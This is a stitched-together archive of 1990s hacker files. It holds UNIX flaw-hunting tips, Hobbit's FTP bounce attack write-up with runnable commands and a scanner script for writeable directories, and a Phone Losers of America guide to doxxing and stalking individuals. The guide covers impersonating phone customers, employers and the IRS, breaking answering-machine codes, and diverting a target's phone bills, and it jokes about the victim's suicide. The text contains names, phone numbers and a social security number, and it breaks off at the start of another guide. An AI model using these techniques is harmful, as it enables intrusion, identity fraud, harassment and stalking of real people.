========= AGREP: I suggest everyone obtain, and install agrep from: ftp cs.arizona.edu /agrep/agrep.tar.Z Agrep supports "windowing" so it can look for routines, and subroutines. It also supports logical operators and is thus ideally suited to automating the search for many of the following flaws. i.e. <psudocode> agrep WINDOW {suid() NOT taintperl()} /usr/local/*.pl or agrep WINDOW {[suid() OR sgid()] AND [system() OR popen() OR execlp() OR execvp()]} /usr/local/src/*.c PERMUTATION PROGRAM: Another tool worth producing is a program to generate all possible permutations of command line flags/arguments in order to uncover undocumented features, and try to produce errors. TCOV: CRASH: Posted to USENET (what FTP archive?) (descrip?) PAPERS: There are several papers that discuss methods of finding flaws, and present test suites. 1) An Emphirical Study of the reliability of UNIX Utilities, by Barton P. Miller, Lars Fredriksen, and Bryan So, Comm ACM, v33 n12, pp32-44, Dec '90. Describes a test suite for testing random input strings. Results indicated that 25% of the programs hung, crashed, or misbehaved. In one case the OS crashed. An understanding of buffer and register layout on the environment in question, and the expected input is likely to produce the desired results. 2) The Mothra tools set, in Proceedings of the 22nd Hawaii International Conference on Systems and Software, pages 275-284, Kona, HI, January '89 3) Extending Mutation Testing to Find Environmental Bugs, by Eugene H. Spafford, Software Practice and Experience, 20(2):181-189, Feb '90 4) A paper by IBM was mentioned that was submitted to USENIX a few years ago. (Anyone have a citation?). Specific Flaws to Check For: ============================ 1) Look for routines that don't do boundary checking, or verify input. ie: the gets() family of routines, where it is possible to overwrite buffer boundaries. ( sprintf()?, gets(), etc. ) also: strcpy() which is why most src has: #define SCYPYN((a)(b)) strcpy(a, b, sizeof(a)) 2) SUID/SGID routines written in one of the shells, instead of C or PERL. 3) SUID/SGID routines written in PERL that don't use the "taintperl" program.) 4) SUID/SGID routines that use the system(), popen(), execlp(), or execvp() calls to run something else. 5) Any program that uses relative path names inside the program. 6) The use of relative path names to specify dynamically linked libraries. (look in Makefile). 7) Routines that don't check error return codes from system calls. (ie: fork(2), suid(2), etc), setuid() rather, as in the famous rcp bug 8) Holes can often be found in code that: A) is ported to a new environment. B) receives unexpected input. C) interacts with other local software. D) accesses system files like passwd, L.sys, etc. E) reads input from a publicly writable file/directory. F) diagnostic programs which are typically not user-proofed. 9) Test code for unexpected input. Coverage, data flow, and mutation testing tools are available. 10) Look in man pages, and users guides for warnings against doing X, and try variations of X. Ditto for "bugs" section. 11) Look for seldom used, or unusual functions or commands - read backwards. In particular looking for undocumented flags/arguments may prove useful. Check flags that were in prior releases, or in other OS versions. Check for options that other programs might use. For instance telnet uses -h option to login ... right, as most login.c's I've seen have: if((getuid()) && hflag){ syslog() exit() } 12) Look for race conditions. 13) Failure of software to authenticate that it is really communicating with the desired software or hardware module it wants to be accessing. 14) Lack or error detection to reset protection mechanisms following an error. 15) Poor implementation resulting in, for example, condition codes being improperly tested. 16) Implicit trust: Routine B assumes routine A's parameters are correct because routine A is a system process. 17) System stores it's data or references user parameters in the users address space. 18) Inter process communication: return conditions (passwd OK, illegal parameter, segment error, etc) can provide a significant wedge, esp. when combined with (17). 19) User parameters may not be adequately checked. 20) Addresses that overlap or refer to system areas. 21) Condition code checks may be omitted. 22) Failure to anticipate unusual or extraordinary parameters. 23) Look for system levels where the modules involved were written by different programmers, or groups of programmers - holes are likely to be found. 24) Registers that point to the location of a parameters value instead of passing the value itself. 25) Any program running with system privileges. (too many progs are given uid 0, to facilitate access to certain tables, etc.) 26) Group or world readable temporary files, buffers, etc. 27) Lack of threshold values, and lack of logging/notification once these have been triggered. 28) Changing parameters of critical system areas prior to their execution by a concurrent process. (race conditions) 29) Inadequate boundary checking at compile time, for example, a user may be able to execute machine code disguised as data in a data area. (if text and data areas are shared) 30) Improperly handling user generated asynchronous interrupts. Users interrupting a process, performing an operation, and either returning to continue the process or begin another will frequently leave the system in an unprotected state. Partially written files are left open, improper writing of protection infraction messages, improper setting of protection bits, etc often occur. 31) Code that uses fopen(3) without setting the umask. ( eg: at(1), etc. ) In general, code that does not reset the real and effective uid before forking. 32) Trace is your friend (or truss in SVR4) for helping figure out what system calls a program is using. 33) Scan /usr/local fs's closely. Many admins will install software from the net. Often you'll find tcpdump, top, nfswatch, ... suid'd root for their ease of use. 34) Check suid programs to see if they are the ones originally put on the system. Admins will sometimes put in a passwd replacement which is less secure than the distributed version. 35) Look for programs that were there to install software or loadable kernel modules. 36) Dynamically linked programs in general. Remember LD_PRELOAD, I think that was the variable. 37) I/O channel programming is a prime target. Look for logical errors, inconsistencies, and omissions. 38) See if it's possible for a I/O channel program to modify itself, loop back, and then execute the newly modified code. (instruction pre-load may screw this up) 39) If I/O channels act as independent processors they may have unlimited access to memory, thus system code may be modified in memory prior to execution. 40) Look for bugs requiring flaws in multiple pieces of software, i.e. say program a can be used to change config file /etc/a now program b assumes the information in a to be correct and this leads to unexpected results (just look at how many programs trust /etc/utmp) 41) Any program, especially those suid/sgid, that allow shell escapes. Date: Wed, 12 Jul 1995 02:20:20 -0400 From: *Hobbit* <hobbit@avian.org> Subject: The FTP Bounce Attack To: Multiple recipients of list BUGTRAQ <BUGTRAQ@CRIMELAB.COM> This discusses one of many possible uses of the "FTP server bounce attack". The mechanism used is probably well-known, but to date interest in detailing or fixing it seems low to nonexistent. This particular example demonstrates yet another way in which most electronically enforced "export restrictions" are completely useless and trivial to bypass. It is chosen in an effort to make the reader sit up and notice that there are some really ill-conceived aspects of the standard FTP protocol. Thanks also to Alain Knaff at imag.fr for a brief but entertaining discussion of some of these issues a couple of months ago which got me thinking more deeply about them. The motive ========== You are a user on foreign.fr, IP address F.F.F.F, and want to retrieve cryptographic source code from crypto.com in the US. The FTP server at crypto.com is set up to allow your connection, but deny access to the crypto sources because your source IP address is that of a non-US site [as near as their FTP server can determine from the DNS, that is]. In any case, you cannot directly retrieve what you want from crypto.com's server. However, crypto.com will allow ufred.edu to download crypto sources because ufred.edu is in the US too. You happen to know that /incoming on ufred.edu is a world-writeable directory that any anonymous user can drop files into and read them back from. Crypto.com's IP address is C.C.C.C. The attack ========== This assumes you have an FTP server that does passive mode. Open an FTP connection to your own machine's real IP address [not localhost] and log in. Change to a convenient directory that you have write access to, and then do: quote "pasv" quote "stor foobar" Take note of the address and port that are returned from the PASV command, F,F,F,F,X,X. This FTP session will now hang, so background it or flip to another window or something to proceed with the rest of this. Construct a file containing FTP server commands. Let's call this file "instrs". It will look like this: user ftp pass -anonymous@ cwd /export-restricted-crypto type i port F,F,F,F,X,X retr crypto.tar.Z quit ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@ ... F,F,F,F,X,X is the same address and port that your own machine handed you on the first connection. The trash at the end is extra lines you create, each containing 250 NULLS and nothing else, enough to fill up about 60K of extra data. The reason for this filler is explained later. Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming. Now type the following into this FTP session, which transfers a copy of your "instrs" file over and then tells ufred.edu's FTP server to connect to crypto.com's FTP server using your file as the commands: put instrs quote "port C,C,C,C,0,21" quote "retr instrs" Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP connection. If the connection to ufred.edu didn't die by itself due to an apparently common server bug, clean up by deleting "instrs" and exiting. Otherwise you'll have to reconnect to finish. Discussion ========== There are several variants of this. Your PASV listener connection can be opened on any machine that you have file write access to -- your own, another connection to ufred.edu, or somewhere completely unrelated. In fact, it does not even have to be an FTP server -- any utility that will listen on a known TCP port and read raw data from it into a file will do. A passive-mode FTP data connection is simply a convenient way to do this. The extra nulls at the end of the command file are to fill up the TCP windows on either end of the ufred -> crypto connection, and ensure that the command connection stays open long enough for the whole session to be executed. Otherwise, most FTP servers tend to abort all transfers and command processing when the control connection closes prematurely. The size of the data is enough to fill both the receive and transmit windows, which on some OSes are quite large [on the order of 30K]. You can trim this down if you know what OSes are on either end and the sum of their default TCP window sizes. It is split into lines of 250 characters to avoid overrunning command buffers on the target server -- probably academic since you told the server to quit already. If crypto.com disallows *any* FTP client connection from you at foreign.fr and you need to see what files are where, you can always put "list -aR" in your command file and get a directory listing of the entire tree via ufred. You may have to retrieve your command file to the target's FTP server in ASCII mode rather than binary mode. Some FTP servers can deal with raw newlines, but others may need command lines terminated by CRLF pairs. Keep this in mind when retrieving files to daemons other than FTP servers, as well. Other possbilities ================== Despite the fact that such third-party connections are one-way only, they can be used for all kinds of things. Similar methods can be used to post virtually untraceable mail and news, hammer on servers at various sites, fill up disks, try to hop firewalls, and generally be annoying and hard to track down at the same time. A little thought will bring realization of numerous other scary possibilities. Connections launched this way come from source port 20, which some sites allow through their firewalls in an effort to deal with the "ftp-data" problem. For some purposes, this can be the next best thing to source-routed attacks, and is likely to succeed where source routing fails against packet filters. And it's all made possible by the way the FTP protocol spec was written, allowing control connections to come from anywhere and data connections to go anywhere. Defenses ======== There will always be sites on the net with creaky old FTP servers and writeable directories that allow this sort of traffic, so saying "fix all the FTP servers" is the wrong answer. But you can protect your own against both being a third-party bouncepoint and having another one used against you. The first obvious thing to do is allow an FTP server to only make data connections to the same host that the control connection originated from. This does not prevent the above attack, of course, since the PASV listener could just as easily be on ufred.edu and thus meet that requirement, but it does prevent *your* site from being a potential bouncepoint. It also breaks the concept of "proxy FTP", but hidden somewhere in this paragraph is a very tiny violin. The next obvious thing is to prohibit FTP control connections that come from reserved ports, or at least port 20. This prevents the above scenario as stated. Both of these things, plus the usual poop about blocking source-routed packets and other avenues of spoofery, are necessary to prevent hacks of this sort. And think about whether or not you really need an open "incoming" directory. Only allowing passive-mode client data connections is another possibility, but there are still too many FTP clients in use that aren't passive-aware. "A loose consensus and running code" ==================================== There is some existing work addressing this available here at avian.org [and has been for several months, I might add] in the "fixkits archive". Several mods to wu-ftpd-2.4 are presented, which includes code to prevent and log attempts to use bogus PORT commands. Recent security fixes from elsewhere are also included, along with s/key support and various compile-time options to beef up security for specific applications. Stan Barber at academ.com is working on merging these and several other fixes into a true updated wu-ftpd release. There are a couple of other divergent efforts going on. Nowhere is it claimed that any of this work is complete yet, but it is a start toward something I have had in mind for a while -- a network-wide release of wu-ftpd-2.5, with contributions from around the net. The wu-ftpd server has become very popular, but is in sad need of yet another security upgrade. It would be nice to pull all the improvements together into one coordinated place, and it looks like it will happen. All of this still won't help people who insist on running vendor-supplied servers, of course. Sanity-checking the client connection's source port is not implemented specifically in the FTP server fixes, but in modifications to Wietse's tcp-wrappers package since this problem is more general. A simple PORT option is added that denies connections from configurable ranges of source ports at the tcpd stage, before a called daemon is executed. Some of this is pointed to by /src/fixkits/README in the anonymous FTP area here. Read this roadmap before grabbing other things. Notes ===== Adding the nulls at the end of the command file was the key to making this work against a variety of daemons. Simply sending the desired data would usually fail due to the immediate close signaling the daemon to bail out. If WUSTL has not given up entirely on the whole wu-ftpd project, they are keeping very quiet about further work. Bryan O'Connor appears to have many other projects to attend to by now... This is a trivial script to find world-writeable and ftp-owned directories and files on a unix-based anonymous FTP server. You'd be surprised how many of those writeable "bouncepoints" pop out after a short run of something like this. You will have to later check that you can both PUT and GET files from such places; some servers protect uploaded files against reading. Many do not, and then wonder why they are among this week's top ten warez sites... #!/bin/sh ftp -n $1 << FOE quote "user ftp" quote "pass -nobody@" prompt cd / dir "-aR" xxx.$$ bye FOE # Not smart enough to figure out ftp's numeric UID if no passwd file! cat -v xxx.$$ | awk ' BEGIN { idir = "/" ; dirp = 0 } /.:$/ { idir = $0 ; dirp = 1 ; } /^[-d][-r](......w.|........ *[0-9]* ftp *)/ { if (dirp == 1) print idir dirp = 0 print $0 } ' rm xxx.$$ I suppose one could call this a white paper. It is up for grabs at avian.org in /random/ftp-attack as well as being posted in various relevant places. _H* 950712 ケ 020 ユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユ 020 ス ・ The Phone Losers Of America Present Information Gathering On Anyone - RedBoxChiliPepper ・・ ・跡ユユユユユユユユユユユユユ ユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユオ ・Written On March 20, 1993 Last Revision on February 12, 1995 ・跡 ユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユオ ・For Informational Cactuses Only. We're Not Responsible For Your Stupidity. ・・ 20 ユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユ 020・ This file will contain just about every way there is that I know of and have used to gather information on an individual. Also included throughout the file are samples of conversations you would use to get what you want. Most methods I've outlined here are completely annonymous and over the phone. TABLE OF CONTENTS: ----------------1. Residential Billing Office 2. Finding Out Info With Address (Library Methods) 3. Using Radio Shack as a CNA 4. Pretend To Be An Ameritech Recording 5. Pretend To Be A Manager 6. Become An Activist 7. Answering Machine Hacking 8. Impersonating The IRS 9. Getting Copies Of Their Phone Bill 10. Finding Out What Their Number Is After They Changed It 11. Getting His New Number From ANI Residential Billing Office: -------------------------Method one is called the phone company's Residential Billing Office which is the place you call up when you want to make changes in your phone service or to have a new phone service installed. When you get a phone service installed, you give them all kinds of useful information like your full name, address, where you work, your birthdate, social security number, etc. You also give them the name of a friend or relative who they can contact in case they need to get in touch with you and so the long distance companies can call them everyday and beg them to sign up for their service. Is what I do to get all of this info on anyone I want is call up the residential office and pose as the owner of the phone wanting to make a change in my service. Of course, I cancel the change a few hours later so no one will ever know I was there. And it rarely fails to work for me. You can even get someone's private second number using this method. When you call the office and say you want to make a change in your service, they immediately ask you for your phone number. When they type in your number they see on their computer screens a whole page of information on you. Hell, I wouldn't be surprised if they knew my dog's name. They'll usually say something like, "Okay, and you are Rich?" Presto! You now have their first name. If they don't give you the name right away, ask for it. Say you're not sure who's on the bill now because you have so many roommates that live with you. They never fail to tell you. Problems With This Method: ------------------------I've only found two problems with this method. One would be a paranoid gimp such as Darin McCall. If a person suspects someone is fooling around with his phone line and trying to make changes he can call up the residential office and ask them to password protect his line. This means that anyone who wants to do anything with his line including finding out any kind of information would have to tell the residential operator this password. One way to get around this is to call your victim and pretend to be with the phone company, saying there's been some unusual activity on their account, etc, etc, and ask them what their password is. Another way I've gotten away with is to call the billing office and say I'd like to change my password. They ask for my number and then ask what I'd like my new password to be, forgetting to ask me what my current is. This has worked twice for me. The second problem is people like me who give false information when they hook up their phone. When I got my phone service, I gave them a fake last name, a fake social security number, a billing address at a post office box and tell them I work for a bank or something like that. (That'll be the day.) Most people don't give the phone company false information because they really have no reason to. So don't rely on the information you gather 100%. There's a small chance that it could be bogus. (Very small!) Sample Conversations: -------------------Now I'll type out some sample conversations that I've had with the billing operators to show you how it's done, some problems you run in to and how to cover them up. Dialing 800-244-4444...ring...ring...ring... After selecting the correct information on their automated introduction, I'm connected with a live operator who has a terrible hangover from a bell party she went to last night... HER: Residential Billing, this is Sheila. May I help you? YOU: Naw, I was just calling for my health. I need to make a change in my service. I want call forwarding. HER: Okay, could I have your complete phone number? YOU: Sure, it's 618-797-2339. Do you want me to spell it? (Note, I'm exaggerating the sarcasm just a tad bit.) HER: Okay...(type type type!)...Alright and who am I speaking to? YOU: Uhhh, this is Scott. HER: That's funny, I have a Robert as the billing name. YOU: Oh, him. That's my roommate. Robert Dawson, right? HER: No, Robert Coyner. YOU: Oh, yeah, him. We have two Roberts living here. HER: Okay, I see. (gives me a fake bell-type laugh.) See how easy that is? Now the conversation would go on with her trying to sell you the special rate you get when you order three services or more. NEVER hang up as soon as you get the information. Always finish out the conversation and then call back later that day and cencel the service you ordered. Or you could do something like this... HER: Okay, we'll have call forwarding hooked up for you this Tuesday morning and the hook up fee will be a one-time charge of $15.65. Would you like that billed to you all at once or in payments? YOU: Oh, goodness gracious heavens to betsy! (Sounding shocked) That's a lot of money. I had no idea it would cost me that much. Maybe I should wait until Robert gets home and ask him if it's okay to pay that much since he is the one who pays the bill. He's my sugar daddy, you see. Could you take my order off and I'll have him call back this evening? HER: Sure, Scott, no problem. (I hear her scratching her underarm in the background.) Will there be anything else for you then? YOU: No, I think you've done just about enough for me today. (smirking) HER: Alright, well you have a really nice day. YOU: And you have a cheesy evening. Happy Haunaka. So now you've got the name. It's Robert Coyner. So you call up the billing office again and of course you get a totally different operator. I have called them many times and never get the same operator more than once. Kind of like lightning never striking twice in the same place. YOU: Hi, this is Robert and I want to make some changes in my service. HER: Okay, could I have your billing number? YOU: No...Just kidding! It's 618-797-2339. I won't go into detail on this. Just order call forwarding again and near the end of the conversation say... YOU: Oh, by the way I'm employed by a different company now. Do you want to put the new one in there? HER: (Surprised because no one ever asks this.) Oh, sure! Where do you work now? YOU: (Proudly) I'm a garbage man for the city of Roxana. (Wiping a tear from my eye.) Is my old job at 7-Eleven still listed in there? HER: No, we still have you listed as the assistant manager of K-Mart. YOU: Yeah, that's where I worked at before I went for my career as a stock boy at the supermarket. Presto, you now know where they worked when they installed their phone service. Of course, they could have changed jobs by now but at least you have something. You want the social security number? Well, on a totally different call you do basically the same thing. YOU: Oh, by the way, I finally found my social security number. Do you want me to give that to you? HER: (Confused) What are you talking about? We have your social security number right here in the computer. YOU: Well, that's strange. When I applied for my service, I couldn't find my social security card and never gave it to them. Maybe my wife called and gave it to you. What number do you have there? HER: 341-69-3926 YOU: Hmmm, well that's my number. My wife must have called already. That bitch, I'm going to have to beat her when she gets home. Just don't forget to call back and cancel the services you've ordered after a few hours. (Or right away, it doesn't matter.) A word to the wise, if you're planning to make some harrassing changes in their service, don't do it from your home phone. This IS an 800 number and they can find out where the call is comming from if they need to. This happened to me when I canceled a former boss's phone service. My district manager confronted me saying that the call had come from my work phone. (Where I had made the call from.) The Public Library: -----------------Every library has what is called a criss-cross directory, usually published by Haines or Cole's. This book will list every listed phone number in order. You simply find the phone number you're looking for and if it's listed, the name and address will be next to it. Another method of searching is by address. All the addresses in the city are also listed in order so you can look someone up by their address. To get the information you need, call the library and just tell them what you need and they're usually happy to give it to you. Just remember, when you make Conan the Librarian jokes, the lady gets pissed off. Also, you can go into the library and ask to look at the directory. When she gives it to you, sneak off to a secluded isle and shove the book in your jacket and haul ass. This is a handy book to own. Using Radio Shack As A CNA: -------------------------This may sound crazy, but I swear it has worked for me. Again, you have somebody's phone number but you don't have their address or their name. If it's late in the day and the phone company's billing office has already closed down for the day, Radio Shack is always open until 9:00! A few years ago, Radio Shack got was using those old fashioned digital cash registers to ring up sales and using their TRS-80 color computer to send in the nightly reports to Fort Worth, TX. Finally, they decide to go high tech like all the other low income electronic stores and do everything on a computer. And everyone who shops there are probably familiar with the salesman asking you, "Could I have the last four digits of your phone number?" When you give them these four numbers, they get a small list of maybe two or three names who have those four digits for their phone number. This is where we come in with a phone call to their store... BOB: Thank you for calling Radio Shack, Amierica's Technology store. You've got questions? We've got answers! This is Bob, how may I help you this evening. (I wonder if they could make that introduction any longer?) YOU: Hi, Bob. This is Frank from Radio Shack #1365 here at St. Louis Center. I just had a kid come in here and get a refund for something he bought yesterday and after he left I took the thing apart and the whole inside is missing from it. BOB: (In astonishment) You're kidding... YOU: Nope, all I got here is the casing to a $250 police scanner. Now he gave me his real phone number and he lives there in your area and I need you to type the digits 3902 and see what you come up with there. BOB: (Typing)...I have three listings here. YOU: Okay, could you read off all three names? I'm going to find out which one of them is him and call up the police. It's that easy. If the person you're looking for has shopped at that Radio Shack store in the last year, you've probably got his name and address now. If that store didn't work, try another one. And another, and another, and another until you find one that he's shopped at. Everyone shops at Radio Shack SOMEtime. Remember, the name you have could be someone else that lives with him, but at least you've got a start. Pretend To Be The Ameritech Recording: ------------------------------------This one works especially well with elderly people. You call up the number you have and pretend to be the Phone Directory's automated system. Here's what you say after they answer: (In a clear and distinguished voice) Hello! This is the Illinois Bell Ameritech automated address and phone number system. To ensure that your information appears correctly in the 1995 edition of the phone book, please state your Name, Address, City and phone number after the tone. If you wish to remain unlisted this year, please say so after stating your information. Thank you for choosing Illinois Bell... (beep!) A non-touch tone beep can be generated by pressing the 1 and 2 buttons on your phone at the exact same time unless you have a generic telephone. Most people will state their information but there are those who are skeptical and will just hang up. If you want, be persistant and keep calling them. After they give you their information, you can mess with their minds if you want to by saying things like, "Thank you! Now please state your Visa card number...okay, now state your bra size...What color is your phone...What color is your toilet...Please state your lover's name..." Pretend To Be A Manager: ----------------------If you know of a place where your victim has worked or is working you can call up their employer and squeeze a little information out of him. The conversation would go something like this: (In this example you're calling McDonald's) MCDS: (Cheery girl) McDonald's, may I help you? YOU: Yeah, put your boss on the phone, you little tramp! MCDS: (Still cheery) Thank you, please hold on... YOU: (Waits for her to go fetch the manager from flipping burgers.) MCDS: Hi, this is Manager Jerry speaking. (Who's he trying to impress??) YOU: Hi, Jerry, this is Walter from Blockbuster Video rentals in Belleville. I'm doing a reference check on a John Light you had working there. I need to know the dates of his hire and termination and I need to know whether he was fired or if he quit. MCDS: Okay, hold on just one second...(He digs through that highly sophisticated filing system that only a McDonald's manager could devise. He finds John's files mixed in with a box of hairnets.) MCDS: Here it is. I have John hired on July of 1992 and he quit on August of 1992. (How long do you expect someone to last at a place like that?) YOU: And he quit? He wasn't fired? MCDS: No, he quit. But he was a dandy little worker, he was. YOU: Okay, that's all I really needed to know. Oh, by the way, would you happen to have his phone number there on his application? It looks like he forgot to write his down here. MCDS: Uh, sure. It's 254-4016. YOU: Boy, are you dumb. I'm just some kid trying to get this guy's phone number. Have a nice future at McDonald's, you twit. (Hangs up.) So maybe I didn't say that last part, but I have tried this twice now, once at Long John Silver's and at McDonald's and it worked both times. I think asking for his phone number just kind of catches the guy off guard and he rattles it off with no hesitation. If it doesn't work one place, try another place he worked at. You might also try getting a social security number like this. You could probably do the same thing for other information such as him social security number and his underwear size. Be An Activist: -------------You only have their address and the library won't give you any information you need so your only choice is to become an activist and start a petition. Get a clipboard, paper and a pen. Quickly write up a petition to save something worthwhile like, "We the undersigned, are petitioning against the city's decision to tear down our local grade school and turn it into a landfill." Make up a whole bunch of names and sign them to your petition. Get about 25 names to make it look legitimate. Now go up to the guy's door and knock. When he answers have a prepared speech ready about what you're petitioning against and convince him to sign it too. Be really friendly and outgoing with him so he'll like you and want to help you out. You might also ask him to include his phone number after he's signed his name so you can contact him about other local situations that might affect him. Who knows, he could fall for that one. Assuming you can decipher his adult signature, you now know who lives there. Answering Machine Hacking: ------------------------The answering machines that let you call in remotely and retrieve your messages are very commonplace these days. The owner of the machine can simply call his own house from the office and punch in a small code to listen to his messages. For us, it's a guaranteed lode of information. Their messages can contain all sorts of useful information such as phone numbers to close friends and relatives, when they'll be out of town, who their doctor is, where they work, just about anything. When someone leaves a message they assume that only the person they're leaving it for will hear it. Fools. Usually the code is only two digits long and very easy to break. On one brand of machine the code is only one digit long and on some it can be three. Wait until their not home and start working on their machine. Call their house and after the tone start hitting random numbers to see if you can break the code. Here are some helpful guidelines: o A standard feature on a lot of brands of machines lets you not have to listen to their outgoing message everytime you call. If you get sick of the outgoing message try pressing "*" and sometimes that will bring you directly to the beep. o Some machines only give you a certian amount of time to press in the security code so if you're not quick enough it'll hang up on you. Call back and try again. o Other machines want you to press and hold the numbers of the code for about one second. So start from "1" and work your way up until you either hit the code right or it takes too long and hangs up on you. When you're trying codes try every number once and then do the same thing again over and over until you've hit the right number. Most answering machines are just looking for those right two numbers and don't care what else you're hitting. After you've finally got it, keep calling back and use the process of elimination to narrow your way to their code. Let's say that when you hit "123456" it lets you in. Next time you call, try "12345" and see if you still get in. If you do, try "1234" and so on until you eliminate your way down to their two or three number code. You'll know when you've broken in when it starts giving you weird beeping noises. After you've figured out their code, sometimes you have to dial one more number to hear the messages. Most of the time the machine will automatically play the messages after you put in the security code but on some you have to dial number "1" or something like that. Not really that hard to figure out. For the more malicious people out there, you can do more than just listen to their messages, a lot of machines will let you change the outgoing message, erase all the messages and monitor all the sounds in their house. Of course, when you start fucking around with them, they know you're there and the whole purpose is defeated. Now that you've figured out their code, you want to call every day that you can and take notes of all the messages that you hear. Even the small things could mean something to you one of these days so write down every name and phone number that's put on there. Write down all the personal information you hear because you never know what you'll be able to use in the future. Try to make sure you're not erasing his messages every time you call or he'll start to wonder why he never gets messages anymore. Sometimes an answering machine will automatically erase the messages after you've listened to them remotely unless you put in a code afterwards. This Is The IRS, Pal. -------------------Recently, I called up a few hospitals where someone I knew worked and I needed a little information on him. I was amazed at how easily they give out information when they think you work for the IRS. I was able to get his social security number, phone number, home address and they even told me where else had wrote down that he worked at in the past. Call up the place where he works. If it's a bigger type business such as a hospital or the White House, ask for the personell department. HER: Yes, this is Sherry, may I help you? YOU: Hi, Sherry, this is John from the IRS. We've been investigating an employee we think is working there for you. Could you tell us if there's a Beavis Martin working there? HER: Just a second......Yes, he's working here. YOU: Okay, do you have a fax machine there where you could fax me his job application and tax forms? HER: No, we don't have a fax machine. YOU: Could I just get a little inforamtion over the phone then? HER: Sure. If it's a little business like a video store or something, they usually won't have a fax machine so you have nothing to worry about. If it's a bigger business they might have them so you wouldn't want to ask them that unless you have a fax machine where you can recieve the fax. Or you could always have them fax the papers to a local copy shop where you can pick them up. (Wait a second, I think I'm repeating myself here...) Ask the lady what social security number he put down explaining that he has been known in the past to write down bogus numbers to avoid paying taxes. Ask what his phone numbers is, and anything else you feel would be useful for you. Tell her that this whole thing is strictly hush-hush and that she shouldn't mention to Beavis that you're investigating him. This will really lower her opinion of her employee, knowing that he's into tax fraud. Getting a Copy of Their Phone Bill: ---------------------------------First of all, you need an address where the phone company can send their bill to. You don't want to use your own address as that would be really stupid of you. Get a bogus p.o. box, vacant house, or fill out a change of address card and forward mail going to a certian address in his name to you. Call the residential billing office and explain to them that you want all your future phone bills to be sent to a p.o. box instead of your home from now on. She'll gladly make that change and his next phone bills will start arriving at the new p.o. box. Now you want to get copies of their past phone bills. Call up the residential office again and tell them that the company you work for has agreed to reimburse you for all the company-related calls you've made from your home in the last four months but you've thrown all your phone bills away. Ask them if they can mail you your last four or five phone bills. They can and they will. Now in two weeks you'll recieve copies of his phone bills from the last four months and be able to see all the long distance calls he makes. After you get the bills you'll want to call the residential office again and change his billing address back to how it was so he won't know anything ever happened. Another thing to do if you want to continue recieving his phone bills and don't really care if he knows is to call the billing office and tell them on your next phone bill you want a list of every local number that was dialed so you can "see why your kid's making so many phone calls". My dad did that to me once and there was about fifty pages of bulletin boards I'd called, not to mention third number billed calls. Knowing what he calls locally will help you out a lot. You'll be able to see exactly what he and his family calls, who his friends are, their may be some personal numbers in there that he calls, etc. You can also see if he's the type of person to call phone sex alot. One more thing, if you'd like to get a new calling card number, since you now recieve his phone bills, you can order a calling card for yourself and you'll recieve it just like you do his phone bill. Finding Out His Number When He Changes It: ----------------------------------------Let's say our man is fed up with us. He's tired of having his boss question him about tax evasion, tired of having his phone bill messed with, tired of people playing on his answering machine, and tired of petitioners comming to his door all the time. He decides to pay the $90 to have his phone number changed to an unlisted number. Ha!, you think. He's just wasted $90 because I'm going to get his new number. If you've been watching this guy closely you'll know who his best friends are and who his relatives are. You know exactly who calls him alot because you've been monitoring his answering machine for two months now. Maybe it's his poor mother across town or maybe it's his best friend that you'll pick, it doesn't really matter. Now it's very simple. Let's say you pick his mom and dad's house. Call the phone company's billing office and pretend to be the dad or have a girlfriend pretend to be the mom. You'll be doing basically what you did to get copies of his phone bill but this time you're going to get copies of his parents phone bill. First, tell the billing office you want every local number accounted for on your bill. Then call them back later and change their billing address to your p.o. box. Now just to make sure that they're going to call thier son, you can call them and leave messages on their machine saying that you're their son and to call him when they get in, it's important. Even if his parents can tell that you're not really him, they'll probably call him and tell him what happened. At the end of the month, you'll get their bill which will have every locally called number on it which will include their son's new phone number. Call up their son and say, "Ha ha! You can't hide from me!" Read in the paper the next morning about how he committed suicide by hanging himself with his telephone cord. Oh, and while you're at it, doesn't mom and dad need some new calling cards? Getting His New Number From ANI: ------------------------------Otherwise known as Automatic Number Identification. This means that in the middle of the night you go to his house, open his phone box, plug in your phone and dial the ANI number which will read off his new number to you. You could also call up a friend that has Caller I.D. The best ANI I know of is 1-800-MY-ANI-IS. Just make sure to be really quiet out in his back yard and watch out for those motion sensor lights that everyone has these days. Those things will be the death of people like me. If you have any additions or comments about this file, please contact me. ケユユユユユユユユユユユユユ Contact ユ The ユ Phone ユ Losers ユ Of ユ America ユ Nearest ユ You!ユユユユユユユユユユユ ユユユユス ・ 512-370-4680 PLA Voice Mailbox And PLEASE Don't Pay 512-851-8317 Sonic Youth Systems ・・ For Your Fone Calls! ・ ・ 512-883-7543 PLA WHQ Texas Line ・・ 618-797-2339 PLA WHQ Illinois Line ・虎ユユユ ユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユ +++++++++++++++++++++++++++++++++++++++++++++++++ | The LOD/H Presents ++++++++++++++++ \ | ++++++++++++++++ A Novice's Guide to Hacking- 1989 edition \ / ========================================= \ / by \ / The Mentor \ / Legion of Doom/Legion of Hackers / \ / \ \ December, 1988 Merry Christmas Everyone! / / \+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/ ********************************************************************** | The author hereby grants permission to reproduce, redistribute, | | or include this file in your g-file section, electronic or print | | newletter, or any other form of transmission that you choose, as | | long as it is kept intact and whole, with no ommissions, delet- | | ions, or changes. (C) The Mentor- Phoenix Project Productions | | 1988,1989 512/441-3088 | ********************************************************************** Introduction: The State of the Hack ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ After surveying a rather large g-file collection, my attention was drawn to the fact that there hasn't been a good introductory file written for absolute beginners since back when Mark Tabas was cranking them out (and almost *everyone* was a beginner!) The Arts of Hacking and Phreaking have changed radically since that time, and as the 90's approach, the hack/phreak community has recovered from the Summer '87 busts (just like it recovered 